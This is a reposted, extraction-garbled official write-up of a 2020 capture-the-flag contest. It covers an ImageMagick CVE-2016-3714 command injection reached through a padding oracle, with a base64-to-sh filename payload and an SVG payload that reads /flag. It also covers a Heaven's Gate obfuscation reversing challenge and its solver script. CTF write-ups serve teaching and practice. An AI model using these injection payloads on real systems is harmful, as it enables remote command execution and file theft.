[27511] 2020-03-09_空指针3月公开赛官方WP

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-19
2020-03-09_空指针3月公开赛官方WP 3 W P   N u 1 L   T e a m   N u 1 L   T e a m   2 0 2 0 - 0 3 - 0 9 3 M u u u   N y a y y p e x W P c o n v e r t e r         1 .   C V E - 2 0 1 6 - 3 7 1 4         2 .   p a d d i n g   o r a c l e ,   g o ,   ,     h e l p e r . g o ,           / a p i / l i s t           - >               / a p i / n e w             - >       ,           / a p i / c o n v e r t     - >       ,   1 .   ( ` c h e c k F i l e n a m e S e c u r e ` ) 2 .   ( ` c h e c k F i l e T y p e S e c u r e ` ) 3 .   ( ` c h e c k F i l e D e s t T y p e S e c u r e ` ) 4 .   ( ` S a v e U p l o a d e d F i l e ` ) 5 .   j s o n ,   ( ` j s o n . M a r s h a l `     ` e n c r y p t `   )
,   ,   1 .   j s o n ( ` d e c r y p t `     ` j s o n . U n m a r s h a l ` ) 2 .   ,   ( ` ` c h e c k F i l e n a m e S e c u r e `   ) 3 .   ,   ( ` g e n e r a t e R e s ` ) 1 .   ` c h e c k F i l e n a m e S e c u r e `       ,     ` ' . / ' `   ,   2 .   ` c h e c k F i l e T y p e S e c u r e `         ` g o i m g h d r . W h a t F r o m R e a d e r `     ` " j p e g " ,   " p n g " ,   " g i f " ,   " b m p " `   3 .   ` c h e c k F i l e D e s t T y p e S e c u r e `       p o s t t y p e ,   4 .   ` e n c r y p t `           ` a e s . g o `   ,     ` p a d d i n g   o r a c l e `   5 .   ` d e c r y p t `         6 .   ` g e n e r a t e R e s ` " [ g o p k g . i n / g o g r a p h i c s / i m a g i c k . v 2 / i m a g i c k ] ( h t t p : / / g o p k g . i n / g o g r a p h i c s / i m a g i c k . v 2 / i m a g i c k ) " ,   ,   使   I m a g e M a g i c k ` ,   使   I m a g e M a g i c k   6 . x . x   : 1 .   P a d d i n g   O r a c l e   2 .   ,   ,   ,   3 .   I m a g e M a g i c k 6       C V E - 2 0 1 6 - 3 7 1 4 ,   i m a g e m a g i c k ,   ,   .       u b u n t u I m a g e M a g i c k - 6 d e l e g a t e s (   ` i d e n t i f y   - l i s t   d e l e g a t e `   ) ,     ` % M `     :
        ` / e t c / I m a g e M a g i c k - 6 / d e l e g a t e s . x m l ` ,   m i f f   ` . s h o w ,   . w i n `         ` m p e g : e n c o d e `     ` . m p 4 ,   . m p e g `   % M ,   R C E   P o C ,   使 p a d d i n g   o r a c l e ,   ,   ,   使   . s h o w p a d d i n g   o r a c l e g i t h u b ,   .   [ h t t p s : / / g i t h u b . c o m / l e s t e r p o t t e r / A e s O r a c l e ] ( h t t p s : / / g i t h u b . c o m / l e s t e r p o t t e r / A e s O r a c l e ) ,     ` / a p i / c o n v e r t `   ,   : h t t p s : / / g i s t . g i t h u b . c o m / M a n a s s e h Z h o u / 0 9 a 6 2 7 7 8 1 0 1 4 1 0 5 9 5 0 2 d c 9 6 3 1 8 3 3 c d a d @ z y s s a e ,   w r i t e u p   ` c o r o n a 1 0 / g o i m g h d r `   t e s t ' ; e c h o   Y 3 A g L 2 Z s Y W c g L 2 F w c C 9 h d H R h Y 2 h t Z W 5 0 c y 8 x | b a s e 6 4   - d | s h ; # ' { " f i l e n a m e " : " t e s t ' ; e c h o   Y 3 A g L 2 Z s Y W c g L 2 F w c C 9 h d H R h Y 2 h t Z W 5 0 c y 8 x | b a s e 6 4   - d | s h ; # ' " , " t y p e " : " s h o w " }   f u n c   w h a t I m p l ( r   i o . R e a d e r )   ( s t r i n g ,   e r r o r )   {             v a r   w h a t   s t r i n g             h d r   : =   m a k e ( [ ] b y t e ,   3 2 )
  [ 6 : 1 0 ]     " J F I F "     " E x i f "     s v g     s v g x m l ,   ,   6 - 1 0   ` J F I F `   .   :     ` c o r o n a 1 0 / g o i m g h d r ` ,   ,     j p g ,   I m a g e M a g i c k ,   s v g .   O r z   f l a g   使   ` < i m a g e   x l i n k : h r e f = " . . . "   / > `   u r l     s s r f 使 ` < i m a g e   x l i n k : h r e f = " l a b e l : @ / f l a g "   / > `   I m a g e M a g i c k     t e x t     f l a g P o C : R E             n B y t e s ,   e r r   : =   r . R e a d ( h d r )             i f   e r r   ! =   n i l   {                 r e t u r n   " " ,   e r r             }             i f   n B y t e s   <   3 2   {                 m s g   : =   f m t . S p r i n t f ( " T h e   t a r g e t   f i l e   s i z e   s h o u l d   b e   a t   l e a s t   3 2   b y t e s :   % d   b y t e s " ,   n B y t e s )                 r e t u r n   " " ,   e r r o r s . N e w ( m s g )             }             h   : =   s t r i n g ( h d r )             s w i t c h   {             c a s e   i s J p e g ( h ) :                 w h a t   =   j p e g             c a s e   i s E x i f ( h ) :                 w h a t   =   j p e g             . . .             }             r e t u r n   w h a t ,   n i l         }         f u n c   i s J p e g ( h   s t r i n g )   b o o l   {             r e t u r n   h [ 6 : 1 0 ]   = =   " J F I F "         }         f u n c   i s E x i f ( h   s t r i n g )   b o o l   {             r e t u r n   h [ 6 : 1 0 ]   = =   " E x i f "         } < s v g   w i d t h = " 6 4 0 p x "   h e i g h t = " 4 8 0 p x "   v e r s i o n = " 1 . 1 "   x m l n s = " h t t p : / / w w w . w 3 . o r g / 2 0 0 0 / s v g "   x m l n s : x l i n k = " h t t p : / / w w w . w 3 . o r g / 1 9 9 9 / x l i n k " > < s v g   E x i f = " "   w i d t h = " 6 4 0 p x "   h e i g h t = " 4 8 0 p x "   v e r s i o n = " 1 . 1 " x m l n s = " h t t p : / / w w w . w 3 . o r g / 2 0 0 0 / s v g "   x m l n s : x l i n k = " h t t p : / / w w w . w 3 . o r g / 1 9 9 9 / x l i n k " > < i m a g e   x l i n k : h r e f = " t e x t : / f l a g "   x = " 0 "   y = " 0 "   h e i g h t = " 6 4 0 p x "   w i d t h = " 4 8 0 p x " / > < / s v g >
G a t e s X G a m e -   -     1 0 x 1 0     f l a g   W o w 6 4     g r i d s   使 x 8 6     x 6 4   g r i d   x 8 6 g r i d     W o w 6 4     6 4     W i n d o w s     3 2     g a t e   o p e n 穿   g a t e     f l a g   p a y l o a d   穿 x 8 6 - > x 6 4 : / / e d x   - - >   c h a r *   f l a g / / e c x   - - >   i n t   i d x / / e d i   - - >   p a y l o a d _ b a s e / / e b x   - - >   M A X _ S T E P   ( l e n ( f l a g ) ) / /   o p e n _ g a t e _ t e m p l a t e _ x 8 6 p u s h   0 x 3 3   / /   c s : 0 x 3 3 s u b   e s p ,   4 m o v   d w o r d   p t r   s s : [ e s p ] ,   g r i d _ d s t _ i p   / /   n e x t   g r i d a d d   q w o r d   p t r   s s : [ e s p ] ,   e d i   / /   p a y l o a d _ b a s e i n c   e c x   / /   s t e p + + r e t f / /   o p e n _ g a t e _ t e m p l a t e _ x 6 4 p u s h   0 x 2 3   / /   c s : 0 x 2 3 s u b   r s p ,   8 m o v   q w o r d   p t r   s s : [ r s p ] ,   g r i d _ d s t _ i p a d d   q w o r d   p t r   s s : [ r s p ] ,   r d i i n c   r c x   / /   s t e p + + r e t f q 3 2 - b i t   n t d l l . d l l   - >   w o w 6 4 c p u . d l l s   H e a v e n s   G a t e   - >   6 4 - b i t   n t d l l . d l l   - >   s y s c a l l   i n t o   t h e   k e r n e l b   =   r a n d o m . r a n d i n t ( 0 ,   0 x 7 f ) a   =   0 x 3 3   ^   b o p e n _ g a t e _ t e m p l a t e _ x 8 6 _ m u t a t e d   =   f " " "                 o p e n _ g a t e _ l a b e l :                         p u s h   { h e x ( a ) }                         x o r   d w o r d   p t r   s s : [ e s p ] ,   { h e x ( b ) }                         c a l l   n e x t _ l a b e l   / /   s u b   e s p ,   4                         . b y t e   { r a n d o m . r a n d i n t ( 0 , 2 5 5 ) }                         n e x t _ l a b e l :                         m o v   d w o r d   p t r   s s : [ e s p ] ,   g r i d _ d s t _ i p                         a d d   d w o r d   p t r   s s : [ e s p ] ,   e d i
  p a y l o a d   g e n e r a t o r     c o d e   b l o c k     s i z e   ` p u s h   0 x 7 f `     ` p u s h   0 x 8 0 `     i n l i n e   a s m   穿   N     1 0   f l a g   p a y l o a d   w p     ` r e t f `   h t t p : / / r c e . c o / k n o c k i n - o n - h e a v e n s - g a t e - d y n a m i c - p r o c e s s o r - m o d e - s w i t c h i n g / h t t p s : / / m e d i u m . c o m / @ f s x 3 0 / h o o k i n g - h e a v e n s - g a t e - a - w o w 6 4 - h o o k i n g - t e c h n i q u e - 5 2 3 5 e 1 a e e d 7 3   h t t p s : / / w w w . m a l w a r e t e c h . c o m / 2 0 1 4 / 0 2 / t h e - 0 x 3 3 - s e g m e n t - s e l e c t o r - h e a v e n s - g a t e . h t m l W i n d o w s     W i n D b g ( x 6 4 )   s t e p - i n     p a y l o a d   使 使   W i n D b g ( x 6 4 )                           i n c   e c x                         r e t f p u s h   7 F   |   6 A   7 F p u s h   8 0   |   6 8   8 0 0 0 0 0 0 0   # d e f i n e   J U N K 2 ( i d x )   _ _ a s m {                         _ _ a s m     c a l l   n e x t 1 _ j u n k 2 _ # # i d x                         _ _ a s m     _ _ e m i t   0 x 7 7                         _ _ a s m     j m p   n e x t _ j u n k 2 _ # # i d x                     _ _ a s m     _ _ e m i t   0 x 8 8                         _ _ a s m     n e x t 1 _ j u n k 2 _ # # i d x :                             _ _ a s m     a d d   d w o r d   p t r   s s : [ e s p ] ,   1         _ _ a s m     r e t                                 _ _ a s m     n e x t _ j u n k 2 _ # # i d x :                             } # d e f i n e   J U N K 1 ( i d x )   _ _ a s m { _ _ a s m   j m p   j l a b e l # # i d x   _ _ a s m   _ _ e m i t   0 x 8 8   _ _ a s m   j l a b e l _ # # i d x   :   _ _ a s m   r e t   _ _ a s m   _ _ e m i t   0 x b a   _ _ a s m   j l a b e l # # i d x   :   _ _ a s m   c a l l   j l a b e l _ # # i d x     }
S o l u t i o n   T h i n e r   # ! / u s r / b i n / p y t h o n " " " S o l u t i o n   A u t h o r :   T h i n e r   @   N e S E T h e   c h a l l e n g e   i s   s o l v e d   w i t h   s o m e   l u c k . " " " " " " n o t e   h e r e r b x = t o t a l r c x = 0 r d x = b u f f e r   w i t h o u t   n p o i n t e r { } r d i = & c o d e i n i t   i s   3 2 b i t r e t u r n   v a l u e   i s   c h e c k   r e s u l t o f f s e t     :   0 x 2 1 9 8 v i r t a d d r :   0 x 1 2 3 4 3 7 9 8 c o d e   l e n :   0 x 3 0 d 3 " " " #   g a t e s X g a m e _ u n . e x e   i s   t h e   u p x   u n p a c k e d   b i n a r y i m p o r t   c a p s t o n e   a s   c s w i t h   o p e n ( ' g a t e s X g a m e _ u n . e x e ' )   a s   f :         r a w   =   f . r e a d ( ) c o d e   =   r a w [ 0 x 2 1 9 8 : 0 x 2 1 9 8 + 0 x 3 0 d 3 ] #   " " " f o r   i   i n   r a n g e ( l e n ( c o d e ) - 5 ) :         i f   c o d e [ i : i + 5 ]   = =   ' x e 8 x 0 1 x 0 0 x 0 0 x 0 0 ' :                 c o d e   =   c o d e [ : i + 5 ] + ' x f 1 ' + c o d e [ i + 6 : ]         i f   c o d e [ i : i + 5 ]   = =   ' x e 8 x 0 2 x 0 0 x 0 0 x 0 0 ' :
        i f   c o d e [ i : i + 5 ]   = =   ' x e 8 x 0 2 x 0 0 x 0 0 x 0 0 ' :                 c o d e   =   c o d e [ : i + 5 ] + ' x c d x 8 1 ' + c o d e [ i + 7 : ]         i f   c o d e [ i : i + 5 ]   = =   ' x e 8 x 0 3 x 0 0 x 0 0 x 0 0 ' :                 c o d e   =   c o d e [ : i + 5 ] + ' x c d x 8 2 x f 1 ' + c o d e [ i + 8 : ] #   c o d e = c o d e . r e p l a c e ( ' e 8 0 3 0 0 0 0 0 0 e 4 d e 7 8 ' . r e p l a c e ( ) ) m d 3 2   =   c s . C s ( c s . C S _ A R C H _ X 8 6 ,   c s . C S _ M O D E _ 3 2 ) m d 6 4   =   c s . C s ( c s . C S _ A R C H _ X 8 6 ,   c s . C S _ M O D E _ 6 4 ) d e f   d i s 3 2 ( a d d r ) :         p r i n t   '   c o d e   3 2   { : # x }   ' . f o r m a t ( a d d r ) . c e n t e r ( 8 0 ,   ' - ' )         f o r   h ,   i   i n   e n u m e r a t e ( m d 3 2 . d i s a s m ( c o d e [ a d d r : a d d r + 0 x 1 0 0 ] ,   a d d r ) ) :                 p r i n t   ' { : 3 d } { : > # 8 x }   { : > 7 s }   { } ' . f o r m a t ( h ,   i . a d d r e s s ,   i . m n e m o n i c ,   i . o p _ s t r ) d e f   d i s 6 4 ( a d d r ) :         p r i n t   '   c o d e   6 4   { : # x }   ' . f o r m a t ( a d d r ) . c e n t e r ( 8 0 ,   ' - ' )         f o r   h ,   i   i n   e n u m e r a t e ( m d 6 4 . d i s a s m ( c o d e [ a d d r : a d d r + 0 x 1 0 0 ] ,   a d d r ) ) :                 p r i n t   ' { : 3 d } { : > # 8 x }   { : > 7 s }   { } ' . f o r m a t ( h ,   i . a d d r e s s ,   i . m n e m o n i c ,   i . o p _ s t r ) d e f   e x t 3 2 ( a d d r ) :         h e a d   =   l i s t ( m d 3 2 . d i s a s m ( c o d e [ a d d r : a d d r + 0 x 8 0 ] ,   a d d r ) )         #   3 + 2 k         l   =   [ ]         f o r   i   i n   r a n g e ( 1 0 ) :                 i f   h e a d [ 3 + 2 * i ] . m n e m o n i c   ! =   ' c m p ' :                         b r e a k                 c h   =   i n t ( h e a d [ 3 + 2 * i ] . o p _ s t r . s p l i t ( ' , ' ) [ - 1 ] ,   0 )                 t a r   =   i n t ( h e a d [ 4 + 2 * i ] . o p _ s t r ,   0 )                 i n s t   =   l i s t ( m d 3 2 . d i s a s m ( c o d e [ t a r : t a r + 0 x 3 0 ] ,   t a r ) ) [ 4 ]                 a d d r   =   i n t ( i n s t . o p _ s t r . s p l i t ( ' , ' ) [ - 1 ] ,   0 )                 l . a p p e n d ( ( c h ,   a d d r ) )         r e t u r n   l d e f   e x t 6 4 ( a d d r ) :         h e a d   =   l i s t ( m d 6 4 . d i s a s m ( c o d e [ a d d r : a d d r + 0 x 8 0 ] ,   a d d r ) )         #   3 + 5 k
        l   =   [ ]         f o r   i   i n   r a n g e ( 1 0 ) :                 i f   h e a d [ 3 + 5 * i ] . m n e m o n i c   ! =   ' c m p ' :                         b r e a k                 c h   =   i n t ( h e a d [ 3 + 5 * i ] . o p _ s t r . s p l i t ( ' , ' ) [ - 1 ] ,   0 )                 t a r   =   i n t ( h e a d [ 4 + 5 * i ] . o p _ s t r ,   0 )                 i n s t   =   l i s t ( m d 6 4 . d i s a s m ( c o d e [ t a r : t a r + 0 x 3 0 ] ,   t a r ) ) [ 5 ]                 a d d r   =   i n t ( i n s t . o p _ s t r . s p l i t ( ' , ' ) [ - 1 ] ,   0 )                 l . a p p e n d ( ( c h ,   a d d r ) )         r e t u r n   l f l a g   =   ' f 4 ' a d d r   =   0 x 5 5 8 a s e t   =   s e t ( [ 0 ,   0 x 4 9 e ,   0 x 5 5 8 ] ) s w i t c h   =   0 d e f   d f s ( f l a g ,   a d d r ,   a s e t ,   s w i t c h ) :         i f   s w i t c h   = =   0 :                 #   3 2 b i t                 e x t r a c t   =   e x t 3 2         e l s e :                 e x t r a c t   =   e x t 6 4         t r y :                 c a   =   e x t r a c t ( a d d r )         e x c e p t   I n d e x E r r o r :                 p r i n t   " f l a g   m a y   b e "                 p r i n t   ' n p o i n t e r { ' + f l a g + ' } '                 r e t u r n         f o r   c ,   a   i n   c a :                 i f   a   n o t   i n   a s e t :                         d f s ( f l a g + c h r ( c ) ,   a ,   a s e t   |   s e t ( [ a ] ) ,   s w i t c h   ^   1 )         e l s e :                 # p r i n t ( ' d e a d   a t ' , r e p r ( f l a g ) )                 p a s s d f s ( f l a g ,   a d d r ,   a s e t ,   s w i t c h )
3 W E B 3 . 2 0
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则